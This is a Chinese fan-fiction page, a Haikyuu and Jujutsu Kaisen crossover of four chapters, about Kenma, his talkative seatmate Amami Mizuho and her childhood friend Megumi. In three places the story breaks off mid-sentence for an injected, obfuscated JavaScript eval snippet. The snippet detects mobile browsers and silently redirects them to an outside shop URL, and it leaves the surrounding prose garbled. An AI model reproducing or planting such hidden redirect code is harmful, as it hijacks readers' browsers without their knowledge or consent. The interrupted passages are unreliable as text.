《恋爱困难少女[排球/咒回]》 1. Chapter 1 孤爪研磨,音驹高校高一生,目前陷入了人生的一大难题。 ——邻座的女同学太过于热情了该怎么办。 跟在排球部末尾晨跑的时候,孤爪研磨抬眼望着灰蓝色的天空,忍不住真切地叹了口气。 他讨厌运动,讨厌流汗,但是并不讨厌这条晨练路上的风景。 对于热爱游戏的孤爪研磨来讲,游戏和生活早就已经密不可分,甚至有着不少的交汇。 就像是RPG游戏那样,每一处地方都有自己的规划,走过这里就会拿到奖励,而另一处则是陷阱。 樱粉的花团锦簇间新长出了嫩绿的芽叶,在树干上也显得生动可爱。 拐过前面100米处的这个街角,避雨棚下放着几个软垫。如果运气好,还能遇见它们的主人——几只被喂的肥肥胖胖的流浪猫。 都是已经做过绝育的,这附近的居民大多心善,有人还把自己的避雨棚让了出来,供给流浪猫们居住,有空了就会来喂一喂。 之所以提到这几只流浪猫,一方面是因为它们是孤爪研磨这条路上还算喜欢的一道景色。另一方面,则是因为它们和他最开始提到的这位过分热情的女同学有关。 偶尔,当他跑过这个拐角的时候,不仅能看见被喂得圆嘟嘟的流浪猫,还会有一道纤细的身影。 大概是他放慢脚步的动作稍微有点明显,一直有在注意他动向的幼驯染黑尾铁朗在很前面的地方一回头,就立刻发现了这一点,喊了一声:“快点——研磨!” 而因为这一声,正蹲在雨棚前地面上喂猫的少女下意识回头。 她有一双很灵动的绿色眼睛,刚一和他对上视线,那双眼睛就立刻弯了弯,像两个月牙。 啊,隐藏掉落。 孤爪研磨在心里发出一声意味不明的短音。 天海瑞穗,坐在他隔壁的位置,早晨的时候偶尔会早起过来喂猫。 今天正好就在。 好巧不巧,她就是他这次烦恼的女主角。 少女只是对着他笑了笑,比了个加油的手势,并没有凑上来要说什么话。 这个行为似乎和他所说的热情有出入。 往前看,只能看到远远的几个小黑点,他已经和排球部里的其他人落下了这么远。 孤爪研磨没有笑,只是对着天海瑞穗点点头算作是打招呼,就继续晨跑了。 都是很冷淡的举动。 但不要怀疑,天海瑞穗的确是他在班里关系最好的同学——说关系最好或许有点奇怪,但她绝对是他在班里最熟悉的一个人。 原因无他,只是因为天海瑞穗太自来熟了。 孤爪研磨没见过比她更热情话更多的人。 开学第一天,两人的座位正好连在一起,她刚一放下书包,就立刻向他搭话。 先是说他的姓氏好特别,以前从来没有遇到过。又说他的名字发音好可爱,她有一个幼驯染,名字也超级可爱。 这段他本以为很快就会结束掉的对话紧接着又从名字聊到了国中,社团,以及擅长的科目。 总之天南海北都聊了点,她还分给他几颗葡萄味的水果硬糖。 孤爪研磨不理解。 为什么有人能在陌生人面前都能讲出这么多话?她完全不会有尴尬或者是生分这样的情绪吗? 未免也太过于活泼开朗了一点吧。 但她又意外地有分寸,对他的搭话始终把握在一个他并不会很为难的界限里。 嗯,给他的糖味道也不错。 而在第二天,孤爪研磨来教室的时候,惊觉天海瑞穗居然已经能和班里的每一个人打招呼了。 社牛,恐怖如斯。 晨跑结束,还要去排球部参加半小时的早训,然后才能去教室上课。 并不意外的,他收到了来自幼驯染的调侃:“看得很出神呢。” 出神?他吗? 怎么出神了?看天海瑞穗看得出神? 开什么玩笑。 孤爪研磨毫不犹豫地撇过脑袋:“没有,只是同学打个招呼。” 黑尾铁朗没有反驳,笑了笑,那个仿佛已经洞悉了一切的眼神让孤爪研磨很不爽。 什么啊,他就又知道了? 带着这样不爽的心情回到教室。或许是因为和幼驯染聊到了天海瑞穗,刚一进门,孤爪研磨的视线就不受控制地首先落在了她身上。 他的邻桌已经坐在座位上了。 她浅金色的长发披在身后,并没有低着头看书或是预习新的课业,而是仰着头在和其他人聊天。 天海瑞穗周围围了四个人,再旁边一点,也有人坐在位置上侧着脸听。 倒是没人占他的位置。 孤爪研磨一直都觉得自己原本追求的超低存在感都因为有天海瑞穗的存在,而硬生生提高了不少。 她是班里最受欢迎的人,甚至都不用说话,每次只要一露面,就有大把大把的目光看向她,和她打招呼。 于是他这个被天海瑞穗异常关注的,态度还颇为冷淡的邻座,也就得到了其他人的关注。 就比如现在,得到天海瑞穗迟来的“早上好”的时候,周围人的视线就隐晦地落在了他身上。 开学这么久,他多多少少也是有点适应其他人的打量了……不,完全没适应。 这种事情无论来多少次,都无法轻易适应的吧。 孤爪研磨在心里叹气。 他不想去探究天海瑞穗是如何在这么一群人的包围中还能第一时间注意到他的——反正她一直都这样,像是给他身上装了什么奇怪的定位器一样。 她声音很清脆,说“早上好”的时候,那双绿色的眼睛飞快地朝他眨了一下。 好像在为早晨提前遇见而暗自欣喜一样。 孤爪研磨顿了一下,慢吞吞地回了一句。 这次连点头的动作都省去了,径自走到座位旁。 站在他桌前的男生见状,往旁边挪了挪,让开一点位置方便他放书包,又很快回过头去继续和天海瑞穗说话。 孤爪研磨从书包里摸出上课要用的课本摆在桌上后,就专心低头玩掌机了。 旁边的人在讨论社团活动结束后一起去学校后面的森林里举办试胆大会的事情。 “天海你也来玩吧,小泉和双葉都已经答应了要一起来玩。”男生语气兴奋地邀请道。 音驹并没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456778|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有国中部,很多人都来自于不同的学校,因此很少存在已经稳定的小团体。 开学到现在,除了很幸运和过去的同学分到一个班的以外,大部分人都是和座位比较靠近的同学关系更亲近一点。 就比如双葉优和小泉花音。 两人分别坐在天海瑞穗的前面和侧后方,又都是女孩子,试着相处后发现很合得来,于是在短时间内就成了朋友。 三个人校内的活动基本上都在一起。 此刻,对上天海瑞穗疑惑的目光,小泉花音解释道:“昨天放学你走得太早了没听到——桥下参加了灵异研究社,他们社团人太少,要是不拉够五个人就要面临废部了。” 可是她都已经参加话剧社了,叫她去也没用啊。天海瑞穗这么想着,也这么说出口了。 双葉优很兴奋:“理论上来讲是这样啦,但是你不觉得很有趣吗?小瑞穗也来嘛!” 和她关系更好的两个人都开口了,其他人于是也都附和了几句:“大家一起的话也不会很害怕啦。” “这样的话我也要参加!” 天海瑞穗向来热心肠,没人觉得她会拒绝。 想着人多热闹,桥下看向进来就低着头打游戏的孤爪研磨,一番犹豫后,问道,“孤爪你要不要一起来?” 猝不及防收到邀请,孤爪研磨推摇杆的动作有一瞬间的停滞。 没想到这事还能波及到自己身上,明明他坐下后就专心致志打游戏,丝毫没有露出任何惹人注目的地方。 好麻烦。 不想去。 直接拒绝好了。 好在玩的并不是竞技类游戏,他迅速存了个档,抬起头。 邀请他的桥下就坐在他前面的位置上,在他金色眼瞳的注视下,紧张地舔了一下嘴唇。 或许是孤爪研磨在班里表现得过于沉默寡言,桥下在邀请他和天海瑞穗时,完全是两个态度。 此刻,所有人的目光都集中在他身上。 紧张的,惊讶的,好奇的,期待的……以及一道略带担忧的。 他握着游戏机的手指慢慢收紧,随后,朝着那道视线看去。 四目相对。 没想到他会突然看过来,天海瑞穗在略微的停顿后,立刻掩去了担心的情绪。 她没有像往常那样眉眼弯弯地对他笑,对视过后就将视线转移到了自己的两个好友身上。 “抱歉哦,我对试胆大会没什么兴趣。”她微微摇头,拒绝了这个邀请。 毫不客气,甚至没有找什么放学后有约了的借口。 一旁的女生迟疑一下,不知道脑补了些什么奇怪的东西,露出了抱歉的神色:“天海同学原来是怕鬼的吗?” “也没什么,确实很可怕啊……我还怕虫子呢!”甚至很善解人意,连安慰的话都已经说出来了。 小泉花音和双葉优对视一眼,都在对方眼中看到了不少的疑惑。 小瑞穗怕鬼?她们怎么不知道。 不过经她这么一拒绝,大家都暂时忘记了孤爪研磨还没回复的事情。 围绕在他身上的视线一一消失,孤爪研磨默默低下头重新打开游戏,却迟迟没有选择读档。 2. Chapter 2 天海瑞穗当然不是怕什么鬼。 她从小就胆大,天不怕地不怕的,上能爬树救猫,下能钻河捕鱼。总之让幼驯染省心的事她是一件都不干。 至于鬼怪这种似乎只存在于人们幻想中的东西,见都没见过,又有什么好怕的。 不过不害怕,不代表她就愿意去这种地方。于是她只是笑了一下,没有说任何解释的话。 背上这么一个怕鬼的头衔对天海瑞穗来讲并不是什么坏事。 她的拒绝不仅仅是出于帮孤爪研磨转移大家注意力的目的。 更重要的一点是,天海瑞穗对试胆大会这种东西有种莫名的抵触。 她甚至不希望身边的人去,之前也阻止过幼驯染津美纪想要陪朋友一起去八十八桥探险的想法。 这次,虽然没有像那天那样强烈,但她依旧感觉到了令人胸闷的不安感。 于是天海瑞穗劝说道:“这段时间的话建议你们也不要去啦,不是听说东京最近有学生失踪嘛。” 她倒也不是在危言耸听,毕竟学生失踪是真事,并且嫌疑犯至今没有着落。 而媒体一直在压这件事的热度,就显得有点耐人寻味。 安全起见,当然是不要去后山那种荒无人烟没有监控的地方比较好。 ——按照恐怖片的定律,这个小队要么是主角团,要么就是主角团会提到的“之前有一群人”。 天海瑞穗讲这话的时候,不仅有所夸大,甚至还特地压低了一点声音。假如再配上阴森诡异的音乐,完全就像是什么恐怖电影的开头。 几人打了个冷颤,纷纷过来捂嘴:“别突然这么说话啊!很吓人的!” “诶?好痛——” “不过你们有被吓到的话我就放心了。”天海瑞穗好不容易把脸从双葉优的手里救出来,一只手从桌洞里翻出课本,一只手揉着微微泛红的脸颊肉,“我们社打算在校园祭上演悬疑剧,我还挺担心没办法竞争到角色呢。” “十月底的事情你们现在就开始准备了?不愧是大社团……等等、悬疑剧?好少见啊,我以前只看到过灰姑娘之类的。” “小优你不知道吗?”小泉花音打了个响指,又一次充当起了解说员,“音驹的戏剧社很厉害的,有好几位前辈都是在校园祭上大放异彩,被挖去了剧团,还有学姐进了娱乐圈。” “前年戏剧社的原创剧甚至在校外演了好几次,很受欢迎呢。” “那岂不是竞争很激烈!”听完戏剧社的光辉履历,双葉优第一反应是为天海瑞穗紧张,“瑞穗你演技怎么样?我和花音都愿意当你的木桩子的!” 开学不到一个月,其他人也没见过她演戏,对她的水平并不了解,但还是很配合地为她加油鼓劲了一番。 天海瑞穗也不在意,同她们又聊了一会儿各自的社团活动,一直到铃声奏响:“好啦,我会加油的……我们社下个月有一个简单的公开试戏,你们要来看吗?” 得到会来捧场的承诺后,天海瑞穗心情很好地低头翻开笔记本准备看两眼昨天的内容。 似乎一点询问孤爪研磨要不要来看的意思都没有。 他略有点不适应。 天海瑞穗对他格外关注,他们又有这样座位上的便利,从开学到现在,几乎有什么事情她都第一时间和他分享。 没错,哪怕天海瑞穗是那种性格过分开朗又讨人喜欢的,有很多朋友的人。 但他在她心里似乎和别人不太一样。在很多个选择题中……至少在同学校的男生里,他是她的第一选项。 要是换个人,或许都要以为她是喜欢自己了。 但孤爪研磨当然清楚这不是喜欢。 她看他的眼神和看避雨棚里的猫没什么两样。 尽管知道自己长相随妈,小时候也被奶奶调侃过像一只小猫。 但天海瑞穗只是他的同班同学,这种感觉多少有点微妙。 还混杂着一点说不清道不明的不爽。 天海瑞穗这会儿不邀请他的原因无非就是觉得试戏人多,怕他会感到不自在。 就好像刚才突然被扯进话题中心时,她会立刻出头转移大家的注意力。 天海瑞穗的确开朗外向,话又多,但她很有分寸。 不如说,能让大部分人——特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456779|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别还是正处于中二期叛逆期的青少年都对她持有这么好的印象,就证明她是个很有分寸感的人了吧? 孤爪研磨并不讨厌她外向亲切的那一面。 不过现在这样忽略掉他也很好。 这正是他所希望的。他并不希望天海瑞穗继续对他搞这种特殊对待。 只是好不容易才勉强适应了那样的相处模式,此刻哪怕只是出现了这么一个小小的差别,他都难免会觉得有点奇怪。 别扭的奇怪感。 在这种奇怪的感觉升起的时候,孤爪研磨就意识到了不对劲。 似乎,他会因为这种事情而感到怪异这件事本身才比较奇怪。 好了,现在,他又多出了一个烦恼——还是和这个女同学有关。 孤爪研磨沉沉叹气。 这声几不可闻的叹气声没能逃得过天海瑞穗敏锐的耳朵。 她敏锐得简直就像是遇到路闪手指自动按+键存档一样! “怎么在叹气,有什么烦恼的事情吗?”让孤爪研磨烦恼的源头微微侧过脸,用很关切的目光看着他,“我能帮上忙吗?” 能。 别再用这样真诚的眼神看他了,也别再那么主动地和他搭话,让其他人也把注意力放到他身上。 只要做到这些,就是实实在在地帮上了他的忙…… 然而,看着那双亮晶晶的,狗狗一样的眼睛,孤爪研磨开口了—— “第一节是英语课。” 完全就是答非所问。 但天海瑞穗向来都非常容易被转移注意力。她微怔,低头去看自己的桌面,上面放着一本白蓝打底的书,写着数学Ⅰ。 她发出一声很短很低的轻呼:“真的欸,我拿错课本了。” 把课本换成这节课要用的英语教材,天海瑞穗重新看向自己这个很可爱的同桌,想了想,觉得不管什么人,夸夸总是不会错的:“孤爪同学好细心!” 细心吗…… 孤爪研磨眼睑下垂,很快又抬起,直直望进天海瑞穗的双眼。 “因为封面差得很大。” 少年最终这么说。 3. Chapter 3 铃声已经结束了好几分钟,但等天海瑞穗换好正确的课本,连单词都复习好之后,这节课的老师也依旧没有出现。 交谈声像水壶里烧开的水一样满溢出来。 由细微变得嘈杂。 身为班长的小泉花音很快站了起来:“大家安静一点,先自己看书,我去办公室问问看。” 她说完后,又小声拜托天海瑞穗帮忙照顾一下班里,才快步走出了教室。 “嗡”地一声,不知道是谁的手机响了一下,紧接着是第二第三下。 已经有不少人在看手机了。 天海瑞穗也从书包里翻出手机,因为没有老师在,干脆直接放到桌面上。 班级群里有零星几个活跃的同学在猜测老师是不是睡过头了。 立刻有人反驳。 英语老师是个雷厉风行的年轻女性,不仅对学生严格,自我要求也格外高,没有意外发生的话,怎么可能会迟到。 群里很快盖起了高楼,天海瑞穗划拉着看了看,回复了几条双葉优的私聊。 突然想到课前劝大家不要去试胆大会时说的几起失踪案件,天海瑞穗心中不好的预感愈发强烈。 明明只是老师没来上课而已,她为什么会想到这些? 打开NHK新闻网看,并没有什么值得关注的新消息。 应该只是她多心了。 不过很快,天海瑞穗就没空去关注这些了。 她收到了一条意料之外的消息。 来自于她的幼驯染。 小惠:【放学后有空吗?】 诶?这是要见面的意思? 天海瑞穗指尖在套了小猫手机壳的手机侧面轻轻敲击了几下,又落到了编辑处。 总之先问问有什么事好了。 【今天有社团活动要参加,小惠有什么事?】 消息发出去的瞬间,文字前面就出现了“已读”的标识,下一秒,有新的消息发过来。 小惠:【社团活动结束后我们见一面吧?到时候我来找你哦。】 可以是可以,但这消息真的不是五条悟拿伏黑惠手机发的吗? 天海瑞穗很想顺着网线过去从对面人的头上揪几根银白色的头发下来,然后把它们放到伏黑惠头发上,让五条悟看看他和她幼驯染差别有多大。 这人甚至连装一下都这么敷衍! 不过伏黑惠没有重新发消息,也就是说他本人也希望能见一面的。 天海瑞穗正要回复,桌子就被坐在前面的双葉优用手肘撞了一下。 因为太着急,双葉优没控制好,正好撞到了手肘的麻筋上,疼得她抱着手肘直吸气。 天海瑞穗秒懂,立刻用摊开的笔记本盖住手机,假装自己是在复习上节课的内容,只用余光去瞄窗外。 穿着素雅长裙、妆容精致的班主任酒井直美步伐很快,转眼就从后窗到了前窗,小泉花音稳稳跟在后面。 她一转头,就看见孤爪研磨趴在桌子上,手臂曲起,脑袋埋在里面,黑发耷拉下来,完全看不清是不是睡着了。 天海瑞穗急忙从桌上捞了支笔,在他手臂上戳了几下。 孤爪研磨没抬头,只往这边转了一点,睁开眼看她,几缕黑发垂在他脸上,看上去很像一只打盹的猫。 他神色虽然略有些困倦,但目光清明,大概只是趴着休息一会儿。 “别趴着了,老师来了!”天海瑞穗用气音小声道。 在她叫孤爪研磨的这会儿,双葉优已经在班级群里打了好几个感叹号。 尽管如此,还是有人没来得及收掉手机,被酒井撞了个正着。 她虽然性格温和好相处,但对班级纪律管得也算严格。 但在男生忐忑的目光里,她只是轻飘飘地说了一句:“下次注意。” 趁着这个机会,天海瑞穗伸手在双葉优手肘上轻轻揉了揉,递给她一小盒饼干。 感谢眼尖心善的小优大人。 小泉花音小跑着回了座位,双葉优用眼神询问她,她也只是摇摇头表示自己也不清楚。 见她坐好,酒井直美走上讲台,目光环视一圈:“加藤老师因病请假了,接下来一段时间的课会由4班的高野老师来代上,大家要听高野老师的话,不要因此松懈。” “这节课你们就上自习吧,安静一点别打扰到其他班级——小泉你帮我看着点纪律。” 她说完,又步履匆匆地走了。 剩下一班的人面面相觑,不明白她为什么看上去那么忙。 但没人在这个时候吵闹,手机也只敢放在桌底和书下看,大家都不想因此害得小泉花音被老师训。 天海瑞穗也在其中。 她不想玩手机的,只是刚才没来得及回复伏黑惠的消息,才小心翼翼地扒开课本。 手机屏幕上,印着好大一个比OK的粉色兔子表情包。 刚才遮手机的时候不小心误触了。 不过没关系,反正小惠的事情她总会答应的。 就这样也行,天海瑞穗又补上一句:【你来晚点!我不确定戏剧社需要多久,可能得两个小时[一滴泪]】 回复完,她就把手机放到了桌洞最深处,又翻出两盒饼干分给孤爪研磨和小泉花音,才专心背下节课要学的单词。 一共四小盒,她们四个人分刚好。 桌上多出来一小盒牛乳味的languly夹心饼干,透过透明的封层,能看见淡黄色的方形饼干。 孤爪研磨垂眸看了半晌,用手指戳了一下,塑料发出细微的声音。 - 傍晚,结束了戏剧社的排练后,天海瑞穗独自一人返回教室拿落下的手机——她早上用完后丢进了桌框最深处,放学装东西的时候也被课本挡着没看见。 四月中下旬东京的天黑得挺早,连云都变得灰灰暗暗。她抬头看看天,忍不住皱了皱眉。 天海瑞穗走得很快,她和伏黑惠约好了放学后要见面的。 普通的社团活动在一小时左右,但戏剧社是大社团,她怕伏黑惠多等,早上说可能需要两个小时。 然而——现在距离放学已经过去快三个小时了! 她本想借同学的手机给伏黑惠打个电活,但她根本不记得他的号码。 脑子里想着事,一转眼就已经走到了教学楼下,幸运的是楼门还没锁。 一年级的教室在三楼,除了她这种忘带东西回来取的,这个点教学楼里几乎没人。 她三步并作两步,几乎是小跑着上了楼,来到一年级三班的门口。 教室门是灰色的,不落一点灰尘,把手泛着亮亮的金属光泽。 天海瑞穗感叹了一下今天值日生的尽职,默默把擦门这一项也列入自己的值日清单里。 随后,她推开了这扇门。 一双猫眼,在灰暗的窗景下闪着幽幽的光。 仿佛在按下快门的那一瞬间将照片的亮度调至最低,而那两片暗金色则在黑暗里显得光泽更盛。 被眼前这幕晃了下眼,天海瑞穗眼睛缓缓眨了一下,她难得结巴:“啊……孤爪同学……” 实在是这画面太过于惊人了。 她邻座的眼睛有那么亮吗?像落日的余晖一样,对视的那一瞬间,闪得她脑袋里一片空白。 好在孤爪研磨并没有怎么在意她刚刚的卡顿。 等天海瑞穗缓过神再次抬眼去看时,对方已经移开了视线。 “今天训练提前结束了吗?”她于是也走近了,睫毛快速扇动了几下,轻声问他。 排球部训练很辛苦,只要没有值日,孤爪研磨都是一放学就直接去体育馆。他们训练时间也长,天海瑞穗很少在放学后遇见过他。 孤爪研磨低低地嗯了一声。过了几秒后,解释道:“我回来拿东西。” 仔细看,他的发尾还带着没吹干的潮气,大概是刚刚才冲过澡。 真稀奇。 和她这种经常丢三落四的人不同,孤爪研磨向来细心,很难想象他也会忘带东西。 还是重要到明明刚结束了辛苦的排球部训练,都要立刻来拿的东西。 但天海瑞穗还是开开心心的:“好巧哦,我也是忘带手机回来拿的。” 话音刚落,教室后门被推开了一半。 两人的视线很自然地一起移过去。 从门缝里探出一颗粉色的脑袋。 这颗脑袋的主人在一接触到两人的视线,脚步就僵在了原地。她手下卸了力,门却顺着继续打开了。 整个人都暴露在门后的时候,她僵硬得仿佛一座石雕。 天海瑞穗下意识放轻了声音:“后藤同学也来拿东西吗?” 没想到天海瑞穗居然记得自己的名字,在她出声之后,这座石雕发出了“咔咔”的声音,石片破碎,被封在里面的人动了几下,似乎是做了什么很重大的决定,终于抬起头,再次和天海瑞穗对视上的时候,她嘴巴动了动,却只是发出了几个变调的“啊”的音。 天海瑞穗当然没听懂,懵懵地眨眼:“嗯?” 对方顿了一下,仓惶点头。 紧接着,她迈着虚浮却又莫名其妙很快的步子走到最后一排的桌前,在桌洞里翻找起来。 她翻东西的动作也是机械的——紧张过头了吧,她和孤爪研磨有那么可怕吗? 这是天海瑞穗在班里唯一一个完全说不上话的同学,名字叫后藤一里。 开学到现在时间算不上有多长,但也绝对不能说很短。 她,社交达人,天海瑞穗,居然还有陌生的同班同学。 这合理吗?这显然不合理! 又恰好后藤一里翻找时的动作和表情看起来像是没找到的样子。 已知,天海瑞穗是个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13456780|141608||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极其热心肠的人。 她完全没有犹豫:“没找到吗?是什么东西呀,我也来帮忙找!” 后藤一里的眼睛是蓝色的,刚开学的时候她还在心底夸过这颜色漂亮,但之后一直都没机会跟她讲话,一直到现在,天海瑞穗才看清楚。 是很澄澈的蓝,看人的时候亮晶晶的。 可爱。 而后藤一里显然因为她突然的靠近有些过度紧张。 就在天海瑞穗开始反思自己是不是没有考虑到对方的情绪的时候,后藤一里开口了。 她声音也细细弱弱的,但确实是回答了:“拨片……一个吉他拨片。” 说完后,大概是觉得因为一个拨片麻烦天海瑞穗很不好意思,又或者她本身就不愿意和别人有这样亲密的人际来往,后藤一里又紧接着补充道:“不重要的,我有很多拨片!” 只是那个拨片花纹很漂亮用着又格外顺手,所以她才想来找找看。 尽管她这么说了,对于吉他手来说丢失一个拨片好像的确不是什么特别严重的事情。 但是天海瑞穗本人也有点恋旧癖,很多没用的东西她哪怕搬家也不舍得扔掉,所以很理解后藤一里的这种感觉。 况且她眼里是没有事大事小的。 天海瑞穗很重视:“是什么颜色的?” 见后藤一里还想摆手,她调整了一下语气,让自己的声音听上去更加轻快:“万一我能碰巧遇到呢,所以后藤同学就告诉我吧?” “……是粉色的,上面有锁链图案。” “收到!” 尽管知道天海瑞穗待人很热情,但孤爪研磨怎么也没想到她会热心到这个地步。 没由来的,他想到了上课时她递给他的那盒饼干。 它现在就静静躺在他的包里。 见送走了后藤一里的后,天海瑞穗的视线又有了重新移回他这里的趋势,孤爪研磨莫名有点紧张,手迅速从桌框里翻出自己落下的试卷。 谁知天海瑞穗看见他的试卷,原本笑吟吟的表情慢慢变得淡了点,嘴唇微抿着,不说话了。 孤爪研磨没有动作,他想到了一种可能。 ——她不会是,试卷也忘记带了吧? 当然,他没把这猜测说出来,低下头开始玩手机,称得上是体贴地回避了一下。 旁边有纸张折叠发出的微小声音,很快又趋于平静。 孤爪研磨稍微等了一会儿,把侧着的身体摆正,又很小幅度地朝着天海瑞穗那边转了转:“你手机刚才响了好几下。” “……什么?” “……你还没来教室的时候,手机在响。” 说什么来什么,下一秒,天海瑞穗的手机又响了一声。 明明是过来拿手机的,但时间过去了将近十分钟,手机却还放在桌框里没有拿出来。 完了。 因为孤爪研磨眼睛的冲击力太大,她完全把伏黑惠抛到了脑后。 天海瑞穗的心重重跳了几下。 随后,天海瑞穗按了一下开机键,划下通知栏。 三条未接来电,六条未读消息。 全部都来自于【小惠】。 而最后一条消息是:「?」 天海瑞穗更加心虚了。 她一把拎起包,另一只手按下拨号键,几步就到了教室门口,突然记起什么一样,回头,对着孤爪研磨摆了摆还显示着【待拨通】界面的手机:“那我先走了孤爪同学,明天见哦!” 在天海瑞穗看到消息的时候,伏黑惠已经进了音驹的大门,并且确定了戏剧社已经排练结束有一会儿了。 抬脚准备往教学楼走的时候,他还遇到一个留着奇怪发型的男生,目的地也是教学楼。 大概是因为他穿着陌生的制服,所以对方看了他好几眼。 伏黑惠这会儿因为幼驯染不回消息的举动,内心难免有点着急焦躁,虽然脸色和平时一样,但身边的气压要更低些。 就在黑尾铁朗觉得不妥,需要拦下对方问清楚的时候。 伏黑惠手机响了。 他微微一顿,手先大脑一步接通了。 “你在哪?” ——甚至连嘴都抢先开口了。 而他的大脑在意识到自己这样显得有点过分着急的时候,只能停下脚步 ,表以沉默。 “我快到校门口了!”天海瑞穗的声音透过听筒,传播到了伏黑惠的耳朵里。 她听上去正在奔跑,能听到节奏平稳的脚步声和风吹过手机带来的风声。 以及一点因为边跑步边开口说话而显得不太平稳的喘气声。 伏黑惠的目光在这个看上去在等他打完电话的本校学生身上略微停留了一瞬间,猜到对方在想些什么,但他现在没有心思去解释。 于是视线下一秒就移开了,他语气平静:“在校门口等我。” 4. Chapter 4 天海瑞穗虽然是独生女,但她有两个幼驯染。 今天先讲讲那个有着可爱名字的、反差很大的幼驯染吧。毕竟此刻,她们已经穿过了好多个没有彼此的日日夜夜,久违地再次开口呼唤了对方的名字。 伏黑惠。 他全名叫伏黑惠。 尽管有着“惠”这样听起来完全是女孩子的名字,但他的的确确是个和她性格完全相反的酷哥。 此时此刻,两人正慢吞吞地走在黄昏下。 天海瑞穗甚至不知道目的地是哪,不过她并不是很在意这个。 伏黑惠向来稳重靠谱,小时候就老为她的上蹿下跳兜底,长大一点之后,甚至越过奶奶成为了她遇事第一个想要依靠的人。 或许也是第一个可以完完全全放心去依靠的人。 不过这个点,大概率也只能吃个饭了吧,逛街之类的就太晚了点。天海瑞穗思索着。 下次挑在周末出门好了,这样就可以一起玩一整天——她真的好久没见伏黑惠了。 天海瑞穗用余光去看,伏黑惠一言不发,目光平视着前方,不知道在想些什么。 她于是在下一次迈步的时候,不动声色地往他那边偏了一点。 两条长长的影子融在一起,就像雾与云。 行走间手臂摩擦了两下,发出细微的声音。 伏黑惠像是终于记起来还有她这号人一样,微微侧过脸来,视线下垂着看她:“怎么了?” 天海瑞穗故意把脚步放得更慢。 对方原本已经在配合她的步伐立刻跟着变慢。 这完全是因为多年来的习惯而下意识的动作,甚至没有引起伏黑惠丝毫的关注。 天海瑞穗喜欢他这样,甚至让她有点惊喜。 “就是在想,小惠到底在想些什么呢?”确定了对方完全没有因为她迟到而感到不快,天海瑞穗心情很好地看着他,故意眨了几下眼睛,“完全不跟我说话,明明是你约我出来的哦?” “只是在发呆……抱歉。”伏黑惠的视线和她对上了一瞬间,又迅速从那片绿色上移开,轻轻地落在了路边树枝抽出的新芽上。 嫩绿的,绽放着活泼的生机。 沉默了十几秒后,他再次开口:“烤肉,吃吗?” “吃!” 这是一个小小的示好信号,理由却要追溯到很久之前。 天海瑞穗发了条消息告诉母亲要和小惠在外面吃饭的事,理所当然得到了“好的”的回复。 伏黑惠坐在她对面,在刚烤好的肉片上淋上料汁,夹到她碟子里。 是她喜欢的柚子醋。 不过天海瑞穗暂时没有动筷子:“就我们两个人吗?” 刚才心里想着别的事情,都没来得及问他。 不用她多问,伏黑惠就知道她想说什么,他回道:“津美纪今天去朋友家玩。” 津美纪,她的另外一个幼驯染,伏黑惠异父异母的姐姐。她原本是打算直升埼玉县城东中学高中部的,不过出于各种各样的理由,还是选择了东京的重点高中燕西中学。 听到是去朋友家,天海瑞穗了然:“美津未姐家?” 伏黑惠“嗯”了一声,主动补充道:“听说是开睡衣派对。” “睡衣派对啊……真好呢。”天海瑞穗语气向往,这种女孩子们贴贴的可爱事情,她过去只和津美纪一起过。 伏黑惠闻言一愣:“你高中没有认识关系好的朋友吗?” 她人际关系向来处得不错,国一时哪怕是有他伏黑哥的威名在外,也从没人因此疏远过和他几乎形影不离的天海瑞穗。 “关系的话其实都还不错?也有两个性格很合得来的朋友。但是要好到可以去别人家里过夜……”天海瑞穗捧着脸,语气平静,“没有呢。” 她理所当然:“毕竟我也不可能约别人回去住吧?会给妈妈添麻烦的。” “又不是以前在埼玉的时候。” 闻言,伏黑惠不说话了,只低头烤肉。 而说出那番话的天海瑞穗反而很轻松的样子,好像并不觉得这有什么。 “所以小惠特地来找我一起吃饭——”她美滋滋吃掉鲜嫩多汁的肉片,笑意盈盈,“是因为想我了吗?” 她甚至有心思打趣他。 这时候,伏黑惠就该丢给她两片菜叶子,冷漠地否定掉。 按理说是这样的,他不喜欢听她说这样粘人的话,最开始还会害羞到耳朵都变红,后来习惯了,就变成了反驳和无视。 这一次,他当然也只是沉默,但并不是完全沉默。 伏黑惠给她杯子里添满了水。 见状,天海瑞穗却如临大敌。 不、不会吧? 真想她了? 小惠,想她? 天海瑞穗也跟着沉默,她反思了一下,觉得自己最近是有点忽视他了。 可是自从上了那个奇怪的宗教学校之后,伏黑惠不也每天从早忙到晚,回消息的频率直线下降。 